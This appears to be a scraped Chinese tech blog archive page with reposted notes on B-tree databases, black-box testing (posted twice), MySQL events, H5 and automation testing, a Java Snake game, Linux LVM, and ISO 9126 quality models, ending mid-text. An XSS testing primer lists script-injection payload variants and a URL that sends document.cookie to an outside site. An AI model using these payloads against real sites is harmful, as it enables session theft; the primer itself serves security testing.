<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    qileilove

    blog已經轉移至github,大家請訪問 http://qaseven.github.io/

    實現一個微型數據庫

    自己寫一個簡單的數據庫,原理大概有以下幾點:
      一、數據以文本形式保存
      將所要保存的數據寫入文本文件,這個文本文件就是數據庫。
      為了方便讀取,數據必須分為記錄,每一條記錄的長度規定為等長。
      舉例:假定每條記錄的長度是800字節,那么第5條記錄的開始位置就在3200字節。
      大多數的時候我們不知道某一條記錄在第幾個位置,只知道主鍵的值。這時為了讀取數據,可以一條條比對記錄。但是這樣做的效率太低。實際應用中,數據庫往往采用B樹格式存儲數據。
      二、關于B樹
      要理解B樹先需要理解二叉查找樹
      說二叉查找樹是一種查找效率非常高的數據結構,它有三個特點:
      (1)每個節點最多只有兩個子樹。
      (2)左子樹都為小于父節點的值,右子樹都為大于父節點的值。
      (3)在n個節點中找到目標值,一般只需要log(n)次比較。
      二叉查找樹的結構不適合數據庫,因為他的查找效率與層數有關。越處在下層的數據,就需要越多次的比較。極端的情況下,n個數據需要n次比較才能找到目標值。對于數據庫來說,每進入一層,就要從硬盤讀取一次數據,這非常致命,因為硬盤的讀取時間遠遠大于數據處理時間,數據庫讀取硬盤的次數越少越好。
      B樹是對二叉查找樹的改進。它的設計思想是,將相關數據盡量集中在一起,以便一次讀取多個數據,減少硬盤操作次數。
      B樹的特點:
      (1)一個節點可以容納多個值。
      (2)除非數據已經填滿,否則不會增加新的層,也就是說,B樹追求“層”越少越好。
      (3)子節點的值,與父節點中的值有嚴格的大小對應關系。一般來說,如果父節點有a個值,那么就有a+1個子節點。比如上圖中,父節點有兩個值(7和16),就應對應三個子節點,第一個子節點都是小于7的值,最后一個子節點都是大于16的值,中間的子節點就是7和16之間的值。
      這種數據結構非常有利于減少讀取硬盤的次數。假定一個節點可以容納100個值,那么3層的B樹可以容納100萬個數據,如果換成二叉查找樹,則需要20層。假定操作系統一次讀取一個節點,并且根節點保留在內存中,那么B樹在100萬個數據中查找目標值,只需要讀取兩次硬盤。

    三、索引
      數據庫以B樹格式存儲,只解決了按照“主鍵”查找數據的問題。如果想查找其他字段,就需要建立檢索(index)。
      所謂索引,就是以某個字段為關鍵字的B樹文件,假定一張“雇員表”,包含了員工號(主鍵)和姓名兩個字段,可以對姓名建立索引文件,該文件以B樹格式對姓名進行存儲,每個姓名后面是其在數據庫中的位置(即第幾條記錄)。查找姓名的時候,先從索引中找到對應的第幾條記錄,然后再從表格中讀取。這種索引查找方法,叫做“索引順序存取方法”,縮寫為ISAM。它已經有多種實現,只要使用這些代碼庫,就能自己寫一個最簡單的數據庫。
      四、高級功能
      部署了最基本的數據存取(包括索引)以后,還可以實現一些高級功能。
      (1)SQL語言是數據庫通用操作語言,所以需要一個SQL解析器,將SQL命令解析為對應的ISAM操作。
      (2)數據庫連接(join)是指數據庫的兩張表通過“外鍵”,建立連接關系。你需要對這種操作進行優化。
      (3)數據庫事務(transaction)是指批量進行一系列數據庫操作,只要有一步不成功,整個操作都不成功。所以需要有一個“操作日志”,以便失敗時對操作進行回滾。
      (4)備份機制:保存數據庫的副本。
      (5)遠程操作:使得用戶可以在不同的機器上,通過TCP/IP協議操作數據庫。

    posted @ 2014-07-24 09:55 順其自然EVO 閱讀(268) | 評論 (0)編輯 收藏

    黑盒測試方法大對決

      軟件測試的方法有很多種, 其中黑盒測試方法被使用最多, 主要的原因是容易上手, 進入門坎不高. 所以很多測試人員會使用這種方法. 可是很多人對于何時該使用卻不是很清楚, 因此讓我們來做個簡單的比較吧
      1. ECT (Equivalence Class Testing)
      a. 說明: 將受測軟件的輸入數據, 切成好幾個分割(partitions), 對于每個分割, 將會有測試個案去涵蓋它
      b. 適用時機
      比較小的功能, 或是單一 API. 或是畫面某個 input control
      c. partition 的選擇, 是決定你測得好不好的重要關鍵
      d. ECT and BVT 這兩種方法最多人使用, 可是不見得是最系統化的方法來開個案.
      2. BVT (Boundary Values Testing)
      a. 說明: 因為大部分的錯誤都發生在極值, 所以 BVT  的測試是著重于找出代表性的邊界值, 來驗證系統的正確性
      b. 適用時機
      比較小的功能, 或是單一 API. 或是畫面某個 input control
      c. 這個方法最容易開出測試個案, 因為只要知道輸入的值域范圍, 馬上就可以列出測試個案
      3. UCT (User Case Testing)
      a. 說明: Use cases 是一種從使用者角度, 來描述系統行為的一種方法. 它由一連串由系統執行的行為所組成, 這些行為可能會對用戶產生一些價值. 所以 UCT 是測試 use case 中所有 scenario 的組合.
      b. 適用時機
      使用者在進行驗收測試.
      c. 開出來的測試個案對使用者最有意義
      4. Pairwise Testing (PT)
      a. 說明: 當你有很多測試環境的組合, 例如 3 個 browser, 5 個 OS, 4 個數據庫, 你將會有很多環境組合要測試. PT 會利用每兩兩組合的方式, 而不是去測試所有的組合, 來降低索要測試的組合量
      b. 適用時機
      要降低測試的組合可以使用. 不過建議自己先列出最重要, 或是風險最高的組合. 之后再利用 PT 來補不足的之處.
     5. STD (State Transition Testing)
      a. 說明: 利用一些涵蓋條件(涵蓋所有 state, event 或是 transition), 展開 state transition diagram 的 scenario, 讓我們可以最小集合, 測試大部份的狀況
      b. 適用時機
      設計時間時用來驗證是否所有 event 都考慮周密, 或者要對模塊做自動化測試適合使用
      6. DTT (Decision Table Testing)
      a. 說明: 列出程序所思考的邏輯條件, 排列出所有可能情況, 并且確認其所產生的輸出或是對應的系統行為是否正確
      b. 適用時機
      適合復雜的功能, 或者是比較 high level 的功能
      c. 開出來的測試個案對使用者還算有意義, 但是對于開發團隊, 可以用來厘清需求的范圍和正確性
      d. 通常在列邏輯條件時, 可以搭配 ECT 來使用, 讓你的條件更加豐富.

    posted @ 2014-07-24 09:53 順其自然EVO 閱讀(186) | 評論 (0)編輯 收藏

    黑盒測試方法大對決

     軟件測試的方法有很多種, 其中黑盒測試方法被使用最多, 主要的原因是容易上手, 進入門坎不高. 所以很多測試人員會使用這種方法. 可是很多人對于何時該使用卻不是很清楚, 因此讓我們來做個簡單的比較吧
      1. ECT (Equivalence Class Testing)
      a. 說明: 將受測軟件的輸入數據, 切成好幾個分割(partitions), 對于每個分割, 將會有測試個案去涵蓋它
      b. 適用時機
      比較小的功能, 或是單一 API. 或是畫面某個 input control
      c. partition 的選擇, 是決定你測得好不好的重要關鍵
      d. ECT and BVT 這兩種方法最多人使用, 可是不見得是最系統化的方法來開個案.
      2. BVT (Boundary Values Testing)
      a. 說明: 因為大部分的錯誤都發生在極值, 所以 BVT  的測試是著重于找出代表性的邊界值, 來驗證系統的正確性
      b. 適用時機
      比較小的功能, 或是單一 API. 或是畫面某個 input control
      c. 這個方法最容易開出測試個案, 因為只要知道輸入的值域范圍, 馬上就可以列出測試個案
      3. UCT (User Case Testing)
      a. 說明: Use cases 是一種從使用者角度, 來描述系統行為的一種方法. 它由一連串由系統執行的行為所組成, 這些行為可能會對用戶產生一些價值. 所以 UCT 是測試 use case 中所有 scenario 的組合.
      b. 適用時機
      使用者在進行驗收測試.
      c. 開出來的測試個案對使用者最有意義
      4. Pairwise Testing (PT)
      a. 說明: 當你有很多測試環境的組合, 例如 3 個 browser, 5 個 OS, 4 個數據庫, 你將會有很多環境組合要測試. PT 會利用每兩兩組合的方式, 而不是去測試所有的組合, 來降低索要測試的組合量
      b. 適用時機
      要降低測試的組合可以使用. 不過建議自己先列出最重要, 或是風險最高的組合. 之后再利用 PT 來補不足的之處.
     5. STD (State Transition Testing)
      a. 說明: 利用一些涵蓋條件(涵蓋所有 state, event 或是 transition), 展開 state transition diagram 的 scenario, 讓我們可以最小集合, 測試大部份的狀況
      b. 適用時機
      設計時間時用來驗證是否所有 event 都考慮周密, 或者要對模塊做自動化測試適合使用
      6. DTT (Decision Table Testing)
      a. 說明: 列出程序所思考的邏輯條件, 排列出所有可能情況, 并且確認其所產生的輸出或是對應的系統行為是否正確
      b. 適用時機
      適合復雜的功能, 或者是比較 high level 的功能
      c. 開出來的測試個案對使用者還算有意義, 但是對于開發團隊, 可以用來厘清需求的范圍和正確性
      d. 通常在列邏輯條件時, 可以搭配 ECT 來使用, 讓你的條件更加豐富.

    posted @ 2014-07-24 09:49 順其自然EVO 閱讀(176) | 評論 (0)編輯 收藏

    Mysql中Event的一些測試

     Mysql的event schedule可以讓你設置你的mysql數據庫在某個時間段執行你想要的動作
      create event test1
      on schedule every 1 day
      starts '2007-09-01 12:00:00'
      on completion not preserve
      do insert into yyy values('hhh','uuu');
      或
      create event test
      on schedule at '2007-09-01 12:00:00' + interval 1 day
      on completion not preserve
      do insert into yyy values('hhh','uuu')
      解釋:從2007年9月1日開始,每天對表yyy在12:00:00進行插入操作,并且只執行一次.
      使用這個功能之前必須確保event_scheduler已開啟,可執行
      set global event_scheduler=1;
      或
      set global event_scheduler=on;
      來開啟,也可以直接在啟動命令上加上--event_scheduler=1.例如:
      mysqld...--event_scheduler=1
      另外也可以直接在mysql.ini或者mysql.cnf中添加
      event_scheduler=1
      要查看當前是否已經開啟時間調度器,可以執行如下sql:
      show variables like 'event-scheduler';
      或者
      select @@event_scheduler;
      或者show processlist;
      二,創建時間(create event)
    create event [if not exists] event_name
    on schedule
    [on completion[not] preserve]
    [enable|disable]
    [comment 'comment']
    do sql_statement;
    schedule:
    at timestamp [+interval interval]
    |every interval [starts timestamp][ends timestamp]
    interval:
    quantity{year|quarter|month|day|hour|minute|
    week|second|year_month|day_hour|day_minute|
    day_second|hour_minute|hour_second|minute_second}
    1)首先來看一個簡單的例子來演示每秒插入一條記錄到數據表:
      use test
      create table aaa(timeline timestamp);
      create event e_test_insert
      on schedule every 1 second
      do insert into test.aaa values(current_timestamp);
      等待三秒,再執行查詢看看:
      mysql>select * from test.aaa;
      就可以看到有三條數據存在
      2)5天后清空aaa表:
      create event e_test
      on schedule at current_timestamp+interval 5 day
      do truncate table test.aaa;
      3)2007年7月20日12點整清空aaa表:
      create event e_test
      on schedule at timestamp '2007-07-20 12:00:00'
      do truncate table test.aaa;
      4)每天定時清空aaa表:---執行之后,是指每天當前創建時間執行該event
      create event e_test
      on schedule every 1 day
      do truncate table test.aaa;
      5)5天后開啟每天定時清空aaa表:
      create event e_test
      on schedule every 1 day
      starts current_timestamp +interval 5 day
      do truncate table test.aaa;
      6)每天定時清空aaa表,5天后停止執行:
      create event e_test
      on schedule every 1 day
      ends current_timestamp + interval 5 day
      do truncate table test.aaa;
      7)5天后開啟每天定時清空aaa表,一個月后停止執行
      create event e_test
      on schedule every 1 day
      starts current_timestamp + interval 5 day
      ends current_timestamp + interval 1 month
      do truncate table test.aaa;
      三,修改事件(alter event)
      alter event event_name
      [on schedule schedule]
      [rename to new_event_name]
      [on completion [not] preserve]
      [comment 'comment']
      [enable|disable]
      [do sql_statement]
      1)臨時關閉事件
      alter event e_test disable
      2)開啟事件
      alter event e_test enable
      3)將每天清空aaa表修改成每5天清空一次
      alter event e_test
      on schedule every 5 day;
      四,刪除事件(drop event)
      語法很簡單,如下所示:
      drop event [if exists] event_name
      例如刪除前面創建的e_test事件
      drop event e_test
      當前前提是這個事件存在,否則會產生error 1513(HY000):unknown event錯誤,因此最好加上if exists
      drop event if exists e_test
      另外當在my.ini或者my.cnf中添加了event_scheduler=1參數,那么在mysql啟動之后,存在的event還是會繼續運行.

    posted @ 2014-07-24 09:44 順其自然EVO 閱讀(220) | 評論 (0)編輯 收藏

    H5頁面測試總結

    其實經過幾次H5頁面測試之后,發現存在很多共同的問題,所以在此對H5頁面的測試點(以及容易出問題的點),做一個總結,給開發同學自測,以及準備入手H5測試的同學一個參考。
      1、業務邏輯相關
      除基本的功能測試之外,H5頁面的測試,需要關注以下幾點:
      1.1 登陸
      目前H5與native各個客戶端都做了互通,所以大家在測試的時候要注意兩點:
      A、若客戶端已登錄,那么進入H5后仍然是登錄狀態。
      B、若客戶端未登錄,進入H5,點擊對應按鈕OR鏈接,如果需要登錄,須拉起native登錄。若取消登錄,是否可再次拉起登錄,或者停留在的頁面是否有對應的登錄提示。
      ps:本次測試過程中就發現,第一次點擊鏈接,可以拉起登錄,第二次卻不能。
      1.2 翻頁
      遇到翻頁加載的頁面,需要注意內容為1頁或者多頁的情況。
      A、數據分頁加載時,注意后續頁面請求數據的正確。
      ps:這個需要注意在快速操作場景中,請求頁數是不是依次遞增,快速操作(如第一頁尚未loading出來的時候仍然繼續上拉操作)時是否發出去對應的請求了。
      1.3 刷新與返回
      A、下拉刷新是否仍然處于當前頁面。
      B、用戶主動點擊刷新按鈕是否仍然處于當前頁面。
      C、點擊返回與back鍵,回退頁面是否是期望頁面
      ps:本次測試過程中就發現,mtop接口請求成功,但是data內無數據時,返回到的就是個空白頁面,無法正常發送請求。
      1.4 mtop接口返回處理
      發現這個出現問題的地方有很多,但是只要有意識的去處理,就很容易避免,主要是以下幾種情況:
      A、請求成功,且返回有數據,測試mtop接口返回數據的各種場景。
      B、請求成功,但data內容為空。
      C、請求接口異常,出現ERR_SID_INVALID::SESSION過期,拉起登錄。
      D、請求接口發生除C中提到的異常之外的異常,通常可歸結為一類進行處理。
      2、H5適配相關
      H5的適配其實比客戶端的相對來說,要少一些,手機品牌之間的差異不大,所以不用太多關注,最容易出現問題的是android2.3系統,這個要特別關注下:
      A、大屏(如720*1280,重點關注頁面背景是否完全撐開頁面,刷新是否有抖動)、小屏手機(如320*480,重點關注下彈框樣式和文案折行)
      B、android2.3、android4.X隨機找一個即可。
      C、ios5、ios6、ios7。
      3、安全相關
      3.1 明確投放渠道都有哪些
      如獨客、主客、wap,是否對未投放渠道做了限制,直接通過url請求是否攔截等
      3.2 評估是否需要接入集團安全,如mtee黑白名單等。
      3.3 是否需要接入支付寶實名認證
      涉及到金錢相關,如天貓積分,紅包等,為了防刷,一般都需要判斷是否支付寶實名認證。
      3.4 是否接入windvane,所有請求通過native發出。
     4、體驗相關
      4.1 資源相關
      A、頁面中有圖片的話,淘寶那邊建議圖片一般不大于50kb,本著一個原則,盡量縮小圖片。
      B、資源是否壓縮、是否通過CDN加載。
      C、如何保證二次發布后有效更新。
      4.2 流量
      A、對于一些不會變化的圖片,如游戲動畫效果相關圖片,不需要每次都請求的東西,做本地緩存。
      B、數據較多時是否做了分頁加載。
      4.3 頁面展現時間
      A、關注頁面首屏加載時間。
      4.4 頁面提示
      A、弱網絡下,數據加載較慢,是否有對應的loading提示。
      B、接口獲取異常時,提示是否友好。
      C、刷新頁面或者加載新內容時頁面是否有抖動。
      4.5 手機操作相關
      A、鎖屏之后展示頁面。
      B、回退到后臺之后,重新呼出在前臺展示。
      4.6 弱網絡體驗
      5、埋點數據檢查
      與BI、前端同學一起確認埋點情況。

    posted @ 2014-07-24 09:41 順其自然EVO 閱讀(4985) | 評論 (0)編輯 收藏

    不得不說之用例設計

     自動化測試用例如何設計,對于新手來說也是比較難理解的問題。
      不少新手剛剛掌握了寫腳本的能力,一上來就拿著功能測試用例一條一條的轉化成自動化用例。在寫的過程中,會發現諸多問題,例如,腳本中重復代碼很多,一個腳本的執行結果影響到另一個腳本的執行,有些功能用例很難轉化成自動化用例等。
      站在用戶角度設計自動化
      在功能測試的時候我們一般會遵循這個原因,但是自動化測試往往可以實現更強大的功能,所以,我們在設計腳本的時候很容易違背這個原則。例如,你要獲得的數據是用戶不可見的,你要判斷用例是否成功的信息也是用戶不可見的,或者你要模擬的是用戶永遠不可能做的操作等。
      設計簡單傻瓜的用例
      自動化腳本本來是很傻瓜的。記得有同學問我,百度輸入有個自動聯想功能,就是在用戶輸入的過程中自動配置熱門搜索的關鍵詞,例如,用戶輸入“自”,會自動聯想“自我評價”,“自行車”等。用繼續輸入“自動”,會自動聯想“自動化”,“自動關機”,“自動檔”等。他想定位自動聯想下拉列表的某個關鍵詞,這個關鍵詞是百度根據用戶搜索熱度的變化而變化的。
      再比例有同學問我,下拉列表功能,我想腳本執行時隨機選擇某一個選項,那么如何如何去判斷隨機的結果呢?換句話說,你都不知道你做了什么,怎么去判斷做的結果對不對?
      所以,我們在設計用例時盡量考慮簡單傻瓜的用例,操作步驟簡單,預期結果容易判斷等。
      從簡單開始
      對于新需要自動化的項目來說,自動化測試的實施是循序漸進的,不要一上來就設計幾百條用例,而是逐步的將功能用例轉成自動化用例,在轉的過程中需要不斷的調整測試結構。然后,再增加穩定的測試用例。然后,再調整測試結構。隨著功能的增加你的自動化測試框架也在逐漸穩定,基礎測試用例也在增加。一上來就幾百條用例,需求的稍微變化,用例就可能大調整,那么你很可能每天疲憊于用例的維護。
      所以,在開始自動化的時候,你可以只對登錄功能寫個十來條的自動化用例。從而,漸漸的考慮將更多功能自動化起來。
      半自動化對于測試人員是個不錯的開始,這樣你可以將更多的精力花在安全測試,探索性測試,甚至是用例體驗上等。不要覺得全職自動化就是多么高大上的職位。

    posted @ 2014-07-24 09:39 順其自然EVO 閱讀(195) | 評論 (0)編輯 收藏

    貪吃蛇 Java版(基于GUI)

     完全自己寫的小程序,主要難點在控制蛇身的運動上,已經較好的解決,不完善的地方是沒有進行畫面雙緩沖,但刷新頻率較低,所以閃爍現象較不明顯。
      界面如下:
    import java.awt.*;
    import java.awt.event.*;
    import java.util.List;
    import java.util.ArrayList;
    public class SnakeClient extends Frame {
    /**
    * 貪吃蛇主客戶端
    * 蛇頭可動,雞蛋隨機出現
    * 0.4蛇身跟隨著運動
    */
    private static final long serialVersionUID = 1L;
    private static int WIDTH=406,HEIGHT=428;
    List<Snake> snakes=new ArrayList<Snake>();
    List<Egg> eggs=new ArrayList<Egg>();
    Snake s=new Snake(3,25,true,0,this);
    Snake body1=new Snake(3,45,false,1,this);
    Snake body2=new Snake(3,65,false,2,this);
    boolean eat=false;
    Egg e=new Egg();
    public static void main(String []args){
    SnakeClient sc=new SnakeClient();
    sc.launchFrame();
    }
    void launchFrame(){
    this.setBounds(100, 100, WIDTH, HEIGHT);
    this.setVisible(true);
    this.setResizable(false);
    this.addWindowListener(new WinCloseMonitor());
    //      bug2 :忘記加入監聽,導致方向不能控制
    this.addKeyListener(new KeyMonitor());
    new Thread(new MyThread()).start();
    snakes.add(s);
    eggs.add(e);
    }
    class WinCloseMonitor extends WindowAdapter{
    //      bug1 錯把windowClosing 寫成WindowClosing
    //      以后重寫函數時注意復制或利用Eclipse的重寫功能
    public void windowClosing(WindowEvent e){
    System.exit(0);
    }
    }
    public void paint(Graphics g){
    for(int i=0;i<snakes.size();i++){
    Snake sn=snakes.get(i);
    if(s.hitSnake(sn)&&!sn.head){
    snakes.removeAll(snakes);
    return;
    }
    sn.draw(g);
    if(sn.eatEgg(e)) eat=true;
    }
    if(eat){
    snakes.add(new Snake(snakes.get(snakes.size()-1).oldX,snakes.get(snakes.size()-1).oldY,
    false,snakes.size(),this));
    eat=false;
    eggs.remove(e);
    e=new Egg();
    eggs.add(e);
    }
    e.draw(g);
    }
    class MyThread implements Runnable{
    @Override
    public void run() {
    while(true){
    repaint();
    try {
    Thread.sleep(350);
    } catch (InterruptedException e) {
    e.printStackTrace();
    }
    }
    }
    }
    class KeyMonitor extends KeyAdapter{
    @Override
    public void keyPressed(KeyEvent e) {
    s.keyPressed(e);
    }
    }
    }
    import java.awt.*;
    import java.awt.event.KeyEvent;
    public class Snake {
    int x,y,oldX,oldY;
    int id;
    private static int WIDTH=20,HEIGHT=20,dx=20,dy=20;
    static Direction dir=Direction.STOP;
    boolean head;//判斷是否是是蛇頭
    SnakeClient sc=null;
    private boolean live;
    public Snake(int x, int y, boolean head,int id,SnakeClient sc) {
    this.x = x;
    this.y = y;
    this.head = head;
    this.id=id;
    this.sc=sc;
    }
    void draw(Graphics g){
    move();
    Color c=g.getColor();
    if(head){
    g.setColor(Color.red);
    }else{
    g.setColor(Color.green);
    }
    g.fillRect(x, y, WIDTH, HEIGHT);
    g.setColor(Color.black);
    g.drawRect(x, y, WIDTH, HEIGHT);
    g.setColor(c);
    }
    public void keyPressed(KeyEvent e) {
    if(!head) return;
    int key=e.getKeyCode();
    switch(key){
    case KeyEvent.VK_UP:
    if(Direction.D==dir) break;
    dir=Direction.U;
    break;
    case KeyEvent.VK_DOWN:
    if(Direction.U==dir) break;
    dir=Direction.D;
    break;
    case KeyEvent.VK_LEFT:
    if(Direction.R==dir) break;
    dir=Direction.L;
    break;
    case KeyEvent.VK_RIGHT:
    if(Direction.L==dir) break;
    dir=Direction.R;
    break;
    case KeyEvent.VK_F2:
    if(!live){
    sc.snakes.add(sc.s);
    }
    }
    }
    //  從蛇頭到蛇尾編號id從0遞增,根據id來移動蛇身,具體如下,記錄下當前位置oldX,oldY
    //  當move()時,根據id-1的蛇身改變自己的位置;
    void move(){
    oldX=x;
    oldY=y;
    if(!head){
    if(dir==Direction.STOP) return;
    for(int i=0;i<sc.snakes.size();i++){
    if(sc.snakes.get(i).id==id-1){
    x=sc.snakes.get(i).oldX;
    y=sc.snakes.get(i).oldY;
    }
    }
    return;
    }
    switch(dir){
    case U:
    y-=dy;
    break;
    case R:
    x+=dx;
    break;
    case D:
    y+=dy;
    break;
    case L:
    x-=dx;
    break;
    case STOP:
    break;
    }
    //新版貪吃蛇,當到達邊界時從另外一邊出來
    if(x<3) x=383;
    if(x>383) x=3;
    if(y<25) y=405;
    if(y>405) y=25;
    }
    public Rectangle getRect(){
    return new Rectangle(x,y,WIDTH-1,HEIGHT-1);
    }
    boolean eatEgg(Egg e){
    if(!head) {
    return false;
    }
    else{
    return e.getRect().intersects(this.getRect());
    }
    }
    boolean hitSnake(Snake s){
    if(!head) return false;
    if(s.getRect().intersects(this.getRect())){
    live = false;
    return true;
    }else{
    return false;
    }
    }
    }
    [java] view plaincopy
    import java.awt.*;
    import java.util.*;
    public class Egg {
    private static int WIDTH=20,HEIGHT=20;
    private static Random r=new Random();
    int x=3+20*r.nextInt(20);
    int y=25+20*r.nextInt(20);
    void draw(Graphics g){
    Color c=g.getColor();
    g.setColor(Color.pink);
    g.fillOval(x, y, WIDTH, HEIGHT);
    g.setColor(c);
    }
    public Rectangle getRect(){
    return new Rectangle(x,y,WIDTH,HEIGHT);
    }
    }
    public enum Direction {
    U,R,D,L,STOP;
    }

    posted @ 2014-07-23 09:40 順其自然EVO 閱讀(330) | 評論 (0)編輯 收藏

    Linux 學習筆記-LVM磁盤管理

      邏輯卷管理通過將底層物理硬盤抽象封裝起來,以邏輯卷的形式表現給上層系統,邏輯卷的大小可以動態調整,而且
      不會丟失現有數據,新加入到硬盤也不會改變。現有上層的邏輯卷。作為一種動態磁盤管理機制,邏輯卷技術提高了磁盤管理
      的靈活性。
      PE physical Extend    //物理擴展
      PV physical volume    //物理卷
      VG volume group       //卷組
      LV logical volume     //邏輯卷
      使用 LVM 的步驟:
      a. 物理硬盤格式化為 PV(物理卷),底層空間被分做每個4M大小的PE。
      b. 創建 VG(卷組)--空間池的概念。
      說明:不同的PV加入同一個VG,不同PV的PE全部進入VG的PE池內。
      c. 創建 LV (邏輯卷)。
      說明:LV 基于 PE 創建,大小為 PE 的整數倍,組成LV的PE可能來自不同物理磁盤。
      d. 格式化 LV,掛載。
      說明:LV 的擴充縮減實際上就是增加或減少組成該 LV 的 PE 的數量,其過程不丟失原始數據。創建好VG后,出現
      /dev/vgname/lvname 目錄。
      LVM邏輯卷的創建流程如下:
      1.將一個磁盤或分區格式化為物理卷:pvcreate /dev/sdb1  /dev/sdb2
      2.將物理卷添加到一個卷組中:vgcreate vgname -vg /dev/sdb1   /dev/sdb2
      3.基于卷組創建一個邏輯卷mylv(名字):lvcreate -L 10G -n mylv  vgname -vg
      4.格式化邏輯卷:mkfs.ext4 /dev/linux -vg/mylv
      5.掛載使用:mount /dev/linux -vg/mylv  /mnt
      邏輯卷查看命令:
      pvdisplay (詳細)
      pvs
      vgdisplay
      vgs
      lvdisplay
      lvs
      刪除一個LVM的操作:
      1.刪除一個LV(邏輯卷):lvremove /dev/linux -vg/mylv
      2.刪除一個VG(卷組):vgremove linux -vg
      3.刪除一個PV(物理卷):pvremove /dev/sda1
      邏輯卷的拉伸及縮小。
      1)邏輯卷可以實現動態在線拉伸,擴展一個邏輯卷的空間不需要卸載文件系統,拉伸一個邏輯卷的步驟如下:
      1.保證卷組中有足夠空閑空間:vgdisplay
      2.擴充指定邏輯卷空間:lvextend -L +10G /dev/linux -vg/mylv
      3.更新文件系統:resize2fs /dev/linux -vg/mylv
      4.查看更新后的文件系統:df -h
      拉伸一個卷組:
      1.將要添加到卷組中的磁盤格式化為物理卷:pvcreate /dev/sdc
      2.將磁盤添加到指定卷組中:vgextend linux -vg /dev/sdc
      3.查看擴充后大小:vgdisplay
      2)邏輯卷可以動態縮小,但是縮小操作必須使邏輯卷離線,也就是卸載,縮小一個邏輯卷步驟如下:
      1.卸載該邏輯卷:umount /dev/lnux -lv/mylv
      2.縮小文件系統:resize2fs /dev/linux -lv/mylv 10G
      3.縮小邏輯卷大小:lvreduce -L -5G /dev/linux -lv/mylv
      4.查看縮小后大小:lvdisplay
      5.掛載使用:mount /dev/linux -lv/mylv /mnt
      縮小一個卷組:
      1.將一個磁盤移出一個卷組:vgreduce linux -lv /dev/sdc
      2.查看縮小后卷組大小:vgdisplay

    posted @ 2014-07-23 09:40 順其自然EVO 閱讀(249) | 評論 (0)編輯 收藏

    安全測試-跨站腳本攻擊(xss)

      跨站腳本簡稱XSS(cross sites script),是web安全里比較重要也比較普遍的一種安全漏洞。跨站腳本是指輸入惡意的代碼,如果程序沒有對輸入輸出進行驗證,則瀏覽器將會被攻擊者控制。可以得到用戶cookie、系統、瀏覽器信息,保存型xss還可以進行釣魚,以獲取更多的用戶信息。
      最常見的測試跨站腳本的方法,輸入
      <Script>alert(1)</script>
      以及它的各種變體
      <script>alert(1) </script>實體
      %3Cscript%3Ealert(1)%3C/script%3E  URL編碼
      <scr<script>ipt>alert(1)<scr<script>ipt>
      <script x=1>alert(1)</script x=1> 還可以這樣寫
      或者<script>confirm(1)</script>
      <javascript.:alert(1)>;等
      如果提交后,頁面彈出警告框,則該頁面存在xss漏洞
      *反射型xss
      通俗來講,即使輸入一段代碼,既可以看到代碼實際的效果,而非原程序的效果
      如:一段代碼
      <html><body>
      <script>
      document.write(location.search);</script>//location.search返回url?開始的部分
      </body></html>
      當輸入以下url
      "http://127.0.0.1/attrck.html?search=222"
      頁面將顯示:?search=222 ;但url中如果輸入
      /?search=<Script>alert(1)</script>
      則頁面的實際代碼為:
      document.write(?search=)<Script>alert(1)</script>;
      將彈出警告框,即代碼<Script>alert(1)</script>被執行了,而并非頁面原來顯示?后字符串的效果
      可以使用偽造后的url獲取用戶cookie
      如,在示例1中加入document.cookie=("name=123");,設置cookie,然后構造url如下,實現將localhost域的cookie傳遞到百度并進行搜索
      http://127.0.0.1/attrck.html?search=<script>window.open("http://www.baidu.com/s?wd="+document.cookie )</script>
      因為cookie是禁止跨域訪問的,但偽造的url,瀏覽器會認為是還是localhost的域
      *保存型xss
      是指將惡意代碼保存到服務器,比如發布一篇文章包含惡意代碼,其他用戶瀏覽時將執行惡意腳本
      *基于dom的xss
      嚴格來說該xss也屬于反射性,本文的例子其實也是dom based,是指修改頁面的dom對象模型,從而達成攻擊,比如頁面使用了document.write\document.writeln\innerhtml等dom方法有可能引起dom based xss
      查找xss漏洞一般使用手工輸入,需要考慮到輸入限制、過濾、長度限制等因素,因此需要設計各種不容的變體輸入,以達到測試效果,也可以使用工具,比如burpsuite來獲取請求后手工修改請求參數,然后重新提交到瀏覽器來測試,因為xss并不限于可見的頁面輸入,還有可能是隱藏表單域、get請求參數等。

    posted @ 2014-07-23 09:38 順其自然EVO 閱讀(250) | 評論 (0)編輯 收藏

    軟件質量管理——軟件產品質量


    像你們大多數人一樣,我測試職業生涯的大部分都在使用ISO9126作為軟件產品質量的標準。這個眾所周知的ISO標準從六個主要特征和許多所謂的子特性(見圖1)定義產品質量。該標準一直很受測試人員以及那些參與需求工程和軟件開發的人的歡迎。甚至多年來一直是世界上最暢銷的ISO標準之一。作為一名測試專業人員,我經常把ISO9126產品質量標準用作產品風險評估期間的(術語)框架,測試策略和測試方法決策。當非功能測試是測試過程的一部分(這種情況很普遍)時,它就特別有用。
      討論事項
      ISO9126標準也被用于和/或引用于各種ISTQB教學大綱,ISTQB詞匯表和許多其他教科書中。我親自在此框架下培訓了很多測試人員,關于如何使用它,以及如何與利益相關方溝通非功能測試。許多人喜歡它,并在他們的日常實踐中使用它,雖然也有一些如下評論:
      我懷念易用性!
      安全性一定不能是功能的一部分?
      熟悉RAMS的人也抱怨可用性沒了。
      ISO9126的下一代,ISO25010(圖3)是若干年前發布的,但到現在為止還不怎么被認可理解。我也一樣,一直沒用過它。通常我傾向于堅持已被證明有用的事物,不去用新版本,例如一個標準。大多數標準幾乎沒有附加值。我快速瀏覽了一下ISO25010,但它并沒有吸引我。


      圖1. ISO 9126質量模型


      歷史
      1977年,McCall提出將質量概念分解為一系列質量因素的想法。這個想法一直被許多其他試圖把軟件產品質量放入特性集合及(反之與指標和衡量標準相關的)相關子特性的作者遵循。這樣,每一個作者就宣傳了他們的軟件產品分級分層質量模型。國際標準化組織(ISO)和國際電工委員會(IEC)就已遵循了這一概念,并在1991年定義了一系列現被稱為ISO 9126的質量特性。該系列反映了軟件產業達成共識的一大步,從而確定了軟件質量的一般概念。原先1991年的ISO 9126在2001年稍稍更新過一次。
      馬來西亞SOFTEC
